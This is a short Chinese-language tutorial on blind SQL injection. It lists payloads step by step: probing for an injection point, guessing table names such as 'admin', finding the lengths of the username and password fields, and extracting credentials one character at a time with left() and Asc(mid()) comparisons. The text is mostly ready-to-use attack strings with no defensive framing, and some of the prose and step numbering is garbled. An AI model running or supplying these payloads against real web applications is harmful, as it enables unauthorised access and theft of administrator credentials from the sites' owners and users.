1. 判断有无注入点

; and 1=1 and 1=2

2.猜表般表名称无非admin adminuser user pass

password 等..

and 0(select count(*) from *)

and 0(select

count(*) from admin) ---判断否存admin这张表

3.猜帐号数目 如果遇00)--

and 1=(select

count(*) from admin where len(户字段名称name)>0)

and 1=(select count(*) from

admin where len(密码字段名称password)>0)

5.猜解各个字段长度

猜解长度就>0变换 直返回确页面止

and 1=(select count(*) from admin where

len(*)>0)

and 1=(select count(*) from admin where len(name)>6) 误

and 1=(select count(*) from admin where len(name)>5) 确 长度6

and

1=(select count(*) from admin where len(name)=6) 确

and 1=(select

count(*) from admin where len(password)>11) 确

and 1=(select count(*)

from admin where len(password)>12) 误 长度12

and 1=(select count(*) from

admin where len(password)=12) 确

6.猜解字符

and 1=(select count(*) from

admin where left(name,1)=a) ---猜解户帐号第位

and 1= (select count(*) from admin

where left(name,2)=ab)---猜解户帐号第二位

就这样次加个字符这样猜,猜够刚才猜出少位就,帐号就算出

and 1=(select top 1 count(*) from Admin where Asc(mid (pass,5,1))=51) --

这个查询语句以猜解文户密码.只面数字换成文ASSIC码就OK.最结果再转换成字符.